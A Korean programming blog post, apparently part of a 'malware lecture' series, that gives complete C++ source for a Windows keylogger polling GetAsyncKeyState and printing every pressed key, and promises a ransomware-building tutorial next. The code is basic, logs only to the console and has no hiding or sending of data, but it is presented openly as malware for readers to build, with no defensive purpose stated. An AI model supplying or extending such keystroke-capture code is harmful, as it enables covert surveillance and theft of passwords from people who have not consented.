🧼C, C++/기초및 입문
키로거 만들기 C++
최신글
https://mawile.tistory.com/257
개발환경 >> Visual Studio
언어 >> C++20
운영체제 >> Windows10
안녕하세요..!
이번에는 키로거를 만들게 되었습니다.
키로거는 만들기 엄청 간단합니다.
이글과는 상관없지만, 현재 다음 악성코드 강좌는 랜섬웨어만들기가 될것같아요~!
기대해주세요~~
{[ 소스코드 ]}
#include <iostream> //c++stdio
#include <windows.h> //GetAsyncKeyState
#define CLICK_EVENT (-32767)
void keyLog(char c) {
if(c == VK_SHIFT) std::cout << "[Shift]" << std::endl;
else if (c == VK_CONTROL) std::cout << "[Control]" << std::endl;
else std::cout << c << std::endl;
}
int main() {
while(true)
for (char c = 0; c < 255; c++)
if (GetAsyncKeyState(c) == CLICK_EVENT) keyLog(c);
}
진짜 ㅋㅋㅋㅋ
이번꺼는 엄청간단합니다.
다음강좌에서는 랜섬웨어만들건데
c#으로할지 c++로 할지고민입니다.
저는 c++로하는게 더 편하긴한데
c#이 그래픽적으로는 c++ 발라가지고.. 흠...
(2021-12-24, 글 수정하고있는 나: 아니구요. c++이 더좋습니다.)
'🧼C, C++ > 기초및 입문' 카테고리의 다른 글
Devcpp에서 c++23 사용하기 Devcppで c++23を 使用する Using c++23 with Devcpp (0) | 2021.06.20 |
---|---|
우주선 연산자 '<=>' 사용법 ( C++20 ) (1) | 2021.06.19 |
표준 라이브러리 정리 <cstdlib> (stdlib.h) - C++ (C) (0) | 2021.01.14 |
C언어 기초 #3 if문과 연산자 (0) | 2021.01.13 |
C언어 기초 #2 배열과 함수 (0) | 2021.01.12 |
댓글